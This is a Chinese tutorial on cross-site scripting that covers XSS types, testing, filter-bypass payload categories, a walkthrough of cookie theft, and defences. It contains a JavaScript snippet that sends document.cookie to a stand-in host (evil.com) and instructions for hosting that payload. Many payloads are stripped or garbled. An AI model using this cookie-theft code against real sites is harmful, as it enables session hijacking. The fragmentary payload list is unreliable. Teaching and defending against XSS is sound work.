百度360必应搜狗淘宝本站头条
python判断字典是否为空crontab每周一执行aes和des区别安装指定版本npmadb pull
当前位置：网站首页 > IT知识 > 正文

网络安全之从原理看懂XSS

liuian 2025-04-26 19:25 29 浏览

01、XSS的原理和分类

跨站脚本攻击XSS(Cross Site Scripting)，为了不和层叠样式表(Cascading Style Sheets，CSS)的缩写混淆

故将跨站脚本攻击缩写为XSS，恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页面时，嵌入Web里面的Script代码会被执行，从而达到恶意攻击用户的目的，XSS攻击针对的是用户层面的攻击；

XSS分为：存储型，反射型，DOM型XSS


存储型XSS：存储型XSS，持久化，代码是存储在服务器中，如在个人信息或发表文章等地方，插入代码，如果没有过滤或者过滤不严，那么这些代码将储存到数据库中，用户访问该页面的时候出发代码执行，这种XSS比较危险，容易造成蠕虫，盗取Cookie；

反射型XSS：非持久化，需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容)，一般容易出现在搜索页面，反射性XSS大多数是用来盗取用户的Cookie信息；

DOM型XSS:不经过后端，DOM-XSS漏洞是基于文档对象模型(Document Object Model ,DOM)的一种漏洞，DOM-XSS是用过url传入参数取控制触发的，其实也属于反射型XSS，DOM的详解：DOM文档对象模型；

【一一帮助安全学习，所有资源关注我，私信回复“资料”获取一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

可能触发DOM型XSS的属性

document.referer
window.name
location
innerHTML
documen.write

02、XSS攻击的危害

1、盗取各类用户账号，如机器登陆账号，用户网银账号，各类管理员账号；
2、控制企业数据，包括读取，篡改，添加，删除企业敏感数据的能力；
3、盗取企业重要的具有商业价值的资料；
4、非法转账；
5、强制发送电子邮件；
6、网站挂马；
7、控制受害者机器向其他网站发起攻击；

03、XSS的测试语句

在网站是否存在XSS漏洞时，应该输入一些标签，如<，>输入后查看网页源代码是否过滤标签，如果没有过滤，很大可能存在XSS漏洞。

常用测试语句：

1

1

可以看到，网站并没有对标签进行过滤；

可以看到，并没有弹出，但是控制台上输出了1，我们可以确定，确实存在XSS；

闭合问题：很多时候，在测试XSS的时候，想要要考虑到闭合问题，我们首先查看网页的源代码，需要首先判断出来，网站用的时单引号闭合还是双引号闭合；

">x<"

'>x<'

单行注释：

">x//#双斜杠表示注释掉后面的语句

0x04、XSS攻击语句

输入检测确定标签没有过滤，为了显示漏洞存在，需要插入XSS攻击代码；




aa

(1)普通的 XSS JavaScript 注入

(2)IMG 标签 XSS 使用 JavaScript 命令

(3)IMG 标签无分号无引号

(4)IMG 标签大小写不敏感

(5)HTML 编码(必须有分号)

(6)修正缺陷 IMG 标签
">
(7)formCharCode 标签(计算器)

(8)UTF-8 的 Unicode 编码(计算器)

(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)

(10)十六进制编码也是没有分号(计算器)

(11)嵌入式标签,将 Javascript 分开

(12)嵌入式编码标签,将 Javascript 分开

(13)嵌入式换行符

(14)嵌入式回车

(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子

(16)解决限制字符(要求同页面)

(17)空字符 12-7-1 T00LS - Powered by Discuz! Board

https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl-e 'print "";' > out
(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "alert(\"XSS\")";' > out
(19)Spaces 和 meta 前的 IMG 标签

(20)Non-alpha-non-digit XSS

(21)Non-alpha-non-digit XSS to 2

(22)Non-alpha-non-digit XSS to 3

(23)双开括号
<
(24)无结束脚本标记(仅火狐等浏览器)

(29)换码过滤的 JavaScript
\";alert('XSS');//
(30)结束 Title 标签

(31)Input Image

(32)BODY Image

(33)BODY 标签

(34)IMG Dynsrc

(35)IMG Lowsrc

(36)BGSOUND

(37)STYLE sheet

(38)远程样式表

(39)List-style-image(列表式)

  • XSS
    (41)META 链接 url

    (42)Iframe

    (43)Frame

    
12-7-1 T00LS - Powered by Discuz!
Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6

    (44)Table


    (45)TD

    (46)DIV background-image

    (47)DIV background-image 后加上额外字符
    (1-32&34&39&160&8192-8&13&12288&65279) **
    **
    (48)DIV expression

    (49)STYLE 属性分拆表达

    (50)匿名 STYLE(组成:开角号和一个字母开头)

    (51)STYLE background-image

    (52)IMG STYLE 方式
    exppression(alert("XSS"))'>
    (53)STYLE background

    
(54)BASE

    (55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS

    (56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码
    a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
    (57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上

    implementation="http://3w.org/XSS/xss.htc">XSS
    (58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用

    (59)IMG 嵌入式命令,可执行任意命令

    (60)IMG 嵌入式命令(a.jpg 在同服务器)
    Redirect 302 /a.jpg
    http://www.XXX.com/admin.asp&deleteuser
    (61)绕符号过滤·

    (62)
    (63)
    (64)
    (65)
    (66)

    12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6

    (67)

    PT SRC="http://3w.org/xss.js">

    (68)URL 绕行
    XSS
    (69)URL 编码
    XSS
    (70)IP 十进制
    XSS
    (74)节省[http:]
    XSS
    (75)节省[www]
    XSS
    (76)绝对点绝对 DNS
    XSS
    (77)javascript 链接
    XSS

    各个标签的的攻击语句；

       #弹出hack
   #弹出hack
        #弹出1，对于数字可以不用引号
      #弹出cookie
  #引用外部的xss

    svg标签：

    标签：

    
  #弹出cookie

    标签：

    video 标签：

    style标签：

    05、XSS漏洞的挖掘

    5.1、黑盒测试

    尽可能找到一切用户可控并且能够输出在页面代码中的地方，比如下面这些：

    • URL的每一个参数
    • URL本身
    • 表单
    • 搜索框

    5.2、常见业务场景

    • 重灾区：评论区，留言区，个人信息，订单信息等
    • 针对型：站内信，网页及时通讯，私信，意见反馈
    • 存在风险：搜索框，当前目录，图片属性等；

    5.3、白盒审计

    关于XSS的代码审计主要就是从接收参数的地方和一些关键此入手；

    PHP中常见的接收参数的方法有_GET，GET，_POST，$_REQUEST等等，可以搜索所有接收参数的方法，然后对接收到的数据进行跟踪，看看有没有输出到页面中，然后看看输出到页面中的数据是否进行了过滤和html编码等处理

    也可以搜索类似echo这样的输出语句，跟踪输出的变量是从哪里来的，我们是否能控制，如果从数据库中取得，是否能控制存到数据库得数据，存到数据库之前有没有得到过滤等等；

    大多数程序会对接收参数封装在公共文件得函数中统一调用，我们就需要审计这些公共函数看有没有过滤，能否绕过等等；

    同理审计DOM型注入可以搜索一些js操作DOM元素得关键字进行审计；

    06、XSS的攻击过程

    6.1、反射型XSS漏洞：

    1、Alice经常浏览某个网站，此网站为Bob所拥有，Bob的站点需要Alice使用用户名、密码进行登陆，并存储了Ailce敏感信息(比如银行账户)；

    2、Tom发现Bob的站点存在反射的XSS漏洞；

    3、Tom利用Bob网站的反射型XSS漏洞编写了一个exp，做成链接的形式，并利用各种手段诱导Alice点击

    4、Alice在登陆Bob的站点后，浏览了Tom提供的恶意链接；

    5、嵌入到恶意链接中的恶意脚本在Alice的浏览器中执行，此脚本盗取敏感信息(cookie,账号等信息)，然后在Alice完全不知情的情况下将这些信息发送给了Tom；

    6、Tom利用获取到的Cookie就可以以Alice的身份信息登陆Bob的站点，如果脚本的功能更强大的化，Tom还可以对Alice的浏览器做控制并进一步利用漏洞控制；

    6.2、存储型XSS漏洞：

    1、Bob拥有一个Web站点，该站点允许用户发布信息，浏览已发布的信息；

    2、Tom检测到Bob的站点存在存储型的XSS漏洞；

    3、Tom在Bob的网站发布了一个带有恶意脚本的热点信息，该热点信息存储在了Bob的服务器的数据库中，然后吸引其他用户来阅读该热点信息；

    4、Bob或者时任何的其他人，如Alice浏览了该信息之后，Tom的恶意脚本就会执行；

    5、Tom的恶意脚本执行后，Tom就可以对浏览器该页面的用户发起一次XSS攻击；

    07、XSS攻击测试

    7.1、远程加载攻击payload

    XSS漏洞能够通过构造恶意的XSS语句实现很多功能，其中做常用的时，构建XSS恶意代码获取对方浏览器的COOKIE；

    1）我们首先把恶意代码保存在本地kali里面，实战情况下，我们将代码保存在我们的服务器上；

    var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

    2）我们在kali，用python开启http服务；

    python -m http.server 80

    3）我们在有XSS漏洞的地方，远程加载我们的恶意代码：

    看到浏览器加载了，我们的xss恶意代码；

    4）成功获取到了cookie信息

    5）图片创建链接

    6）字符拼接

    这种一般是输入的字符有限制的时候使用

    









有的情况要用/**/注释不需要的代码。

    7）jQuery加载

    7.2、反射型XSS：

    //前端 1.html：


    
    反射型XSS


    
    
        
        
    
    



//后端 action.php：

    我们接着在输入框输入:

    页面直接弹出了xss的页面，可以看到， 我们插入的语句已经被页面给执行了，这就是最基本的反射型XSS漏洞，这种漏洞流向：前端–>后端–>前端

    7.3、存储型XSS：

    //前端：2.html


    
    存储型XSS


    
    
        输入你的ID： 
    
        输入你的Name： 
    
        
    
    


//后端：action2.php

//供其他用户访问页面：show2.php

    这里有一个用户提交页面，数据提交给后端之后，后端存储在数据库中，然后当其他用户访问另一个页面的时候，后端调出该数据，显示给另一个用户，XSS代码就被执行了；

    我们输入3和，接着，我们看看数据库；

    可以看到，我们的XSS语句已经插入到数据库中了；

    然后当其他用户访问，show2.php页面的时候，我们插入的XSS代码就执行了；

    存储型XSS的数据流向是：前端–>后端–>数据库–>后端–>前端

    7.4、DOM型XSS

    先放源代码：

    // 前端3.html

  
  
  DOM型XSS
  
  
  
    
  
  
  
    
  
  
  // 后端action3.php

    这里有一个提交页面，用户可以在此提交数据，数据提交之后，给后台处理；

    我们可以输入,然后看看页面的变化；

    页面直接弹出了hack的页面，我们插入的语句已经被页面给执行了；

    这就是DOM型XSS的漏洞，这种漏洞的数据流向是：前端–>浏览器

    08、XSS编码绕过

    8.1、gpc过滤字符

    如果gpc开启的时候，特殊字符会被加上斜杠即，‘变成’，xss攻击代码不要用带单引号和双引号；

    绕过gpc在php高版本gpc默认是没有的，但是开发程序员会使用addcslashes()对特殊字符进行转义；
    这个是执行不了的
    没有单引号可执行

    8.2、过滤alert

    当页面过滤alert这个函数时，因为这个函数会弹窗，不仅很多程序会对他进行过滤，而且很多waf都会对其进行拦截，所以不存在alert即可；

    8.3、过滤标签

    在程序里如果使用了html实体过滤，在php会使用htmlspecialchars()对输入的字符进行实体化，实体化之后的字符不会在html执行，把预定义的字符"<“(小于)和”>"(大于)转化为HTML实体，构造xss恶意代码大多数都必须使用<或者>，这两个字符被实体化之后，html里就不能执行了；

    预定义的字符是：

    &(和号)成为&

    “(双引号)成为"

    ’(单引号)成为'

    <(小于)成为<

    ·>(大于)成为>

    但是又在input这些标签里是不用考虑标签实体化，因为用不上<>这两个标签，

    8.4、ascii编码

    8.5、url编码

    123

    8.6、JS编码

    编码直通车：
    https://www.jb51.net/tools/zhuanhuan.htm

    八进制编码：

    16进制编码

    jsunicode编码

    8.7、HTML编码

    在=后可以解析html编码

    十进制：

    十六进制

    ''

    8.8、base64编码

    使用伪协议base64解码执行xss

    111

    0x09、XSS的防御

    XSS防御的总体思路是：对用户的输入(和URL参数)进行过滤，对输出进行html编码，也就是对用户提交的所有内容进行过滤，对url中的参数进行过滤，过滤掉会导致脚本执行的相关内容，然后对动态输出到页面的内容进行html编码，使脚本无法在浏览器中执行；

    对输入的内容进行过滤，可以分为黑名单和白名单过滤，黑名单过滤虽然可以拦截大部分的XSS攻击，但是还是存在被绕过的风险，白名单过滤虽然可以基本杜绝XSS攻击，但是真实环境中一般是不能进行如此严格的白名单过滤的；

    对输出进行html编码，就是通过函数，将用户的输入的数据进行html编码，使其不能作为脚本运行；

    如下是使用php中的htmlspecialchars函数对用户输入的name参数进行html编码，将其转化为html实体；

    #使用htmlspecialchars函数对用户输入的name参数进行html编码，将其转换为html实体
$name = htmlspecialchars( $_GET[ 'name' ] );

    我们还可以服务端设置会话Cookie的HTTP Only属性，这样客户端的JS脚本就不能获取Cookie信息了；

    相关推荐

    eino v0.4.5版本深度解析:接口类型处理优化与错误机制全面升级

    近日，eino框架发布了v0.4.5版本，该版本在错误处理、类型安全、流处理机制以及代理配置注释等方面进行了多项优化与修复。本次更新共包含6个提交，涉及10个文件的修改，由2位贡献者共同完成。本文将详...

    SpringBoot异常处理_springboot异常注解

    在SpringBoot中，异常处理是构建健壮、可维护Web应用的关键部分。良好的异常处理机制可以统一返回格式、提升用户体验、便于调试和监控。以下是SpringBoot中处理异常的完整指...

    Jenkins运维之路(Jenkins流水线改造Day02-1-容器项目)

    这回对线上容器服务器的流水线进行了一定的改造来满足目前线上的需求，还是会将所有的自动化脚本都放置到代码库中统一管理，我感觉一章不一定写的完，所以先给标题加了个-1，话不多说开干1.本次流水线的流程设计...

    告别宕机!零基础搭建服务器监控告警系统!小白也能学会!

    前言本文将带你从零开始，一步步搭建一个完整的服务器指标监控与邮件告警系统，使用的技术栈均为业界主流、稳定可靠的开源工具：Prometheus：云原生时代的监控王者，擅长指标采集与告警规则定义Node_...

    httprunner实战接口测试笔记，拿走不谢

    每天进步一点点，关注我们哦，每天分享测试技术文章本文章出自【码同学软件测试】码同学公众号：自动化软件测试码同学抖音号：小码哥聊软件测试01开始安装跟创建项目pipinstallhttprunne...

    基于JMeter的性能压测平台实现_jmeter压测方案

    这篇文章已经是两年前写的，短短两年时间，JMeter开源应用技术的发展已经是翻天覆地，最初由github开源项目zyanycall/stressTestPlatform形成的这款测试工具也开始慢...

    12K+ Star!新一代的开源持续测试工具!

    大家好，我是Java陈序员。在企业软件研发的持续交付流程中，测试环节往往是影响效率的关键瓶颈，用例管理混乱、接口调试复杂、团队协作不畅、与DevOps流程脱节等问题都能影响软件交付。今天，给大家...

    Spring Boot3 中分库分表之后如何合并查询

    在当今互联网应用飞速发展的时代，数据量呈爆发式增长。对于互联网软件开发人员而言，如何高效管理和查询海量数据成为了一项关键挑战。分库分表技术应运而生，它能有效缓解单库单表数据量过大带来的性能瓶颈。而在...

    离线在docker镜像方式部署ragflow0.17.2

    经常项目上会出现不能连外网的情况，要怎么使用ragflow镜像部署呢，这里提供详细的步骤。1、下载基础镜像根据docker-compose-base.yml及docker-compose.yml中的i...

    看，教你手写一个最简单的SpringBoot Starter

    何为Starter？想必大家都使用过SpringBoot，在SpringBoot项目中，使用最多的无非就是各种各样的Starter了。那何为Starter呢？你可以理解为一个可拔插式...

    《群星stellaris》军事基地跳出怎么办?解决方法一览

    《群星stellaris》军事基地跳出情况有些小伙伴出现过这种情况，究竟该怎么解决呢？玩家“gmjdadk”分享的自己的解决方法，看看能不能解决。我用英文原版、德语、法语和俄语四个版本对比了一下，结果...

    数据开发工具dbt手拉手教程-03.定义数据源模型

    本章节介绍在dbt项目中，如何定义数据源模型。定义并引入数据源通过Extract和Load方式加载到仓库中的数据，可以使用dbt中的sources组件进行定义和描述。通过在dbt中将这些数据集(表)声...

    docker compose 常用命令手册_docker-compose init

    以下是DockerCompose常用命令手册，按生命周期管理、服务运维、构建配置、扩缩容、调试工具分类，附带参数解析、示例和关键说明，覆盖多容器编排核心场景：一、生命周期管理（核心命令...

    RagFlow与DeepSeek R1本地知识库搭建详细步骤及代码实现

    一、环境准备硬件要求独立显卡（建议NVIDIAGPU，8GB显存以上）内存16GB以上，推荐32GB（处理大规模文档时更高效）SSD硬盘（加速文档解析与检索）软件安装bash#必装组件Docker...

    Docker Compose 配置更新指南_docker-compose配置

    高效管理容器配置变更的最佳实践方法重启范围保留数据卷适用场景docker-composeup-d变更的服务常规配置更新--force-recreate指定/所有服务强制重建down→up流程...

    一周热门
    最近发表
    标签列表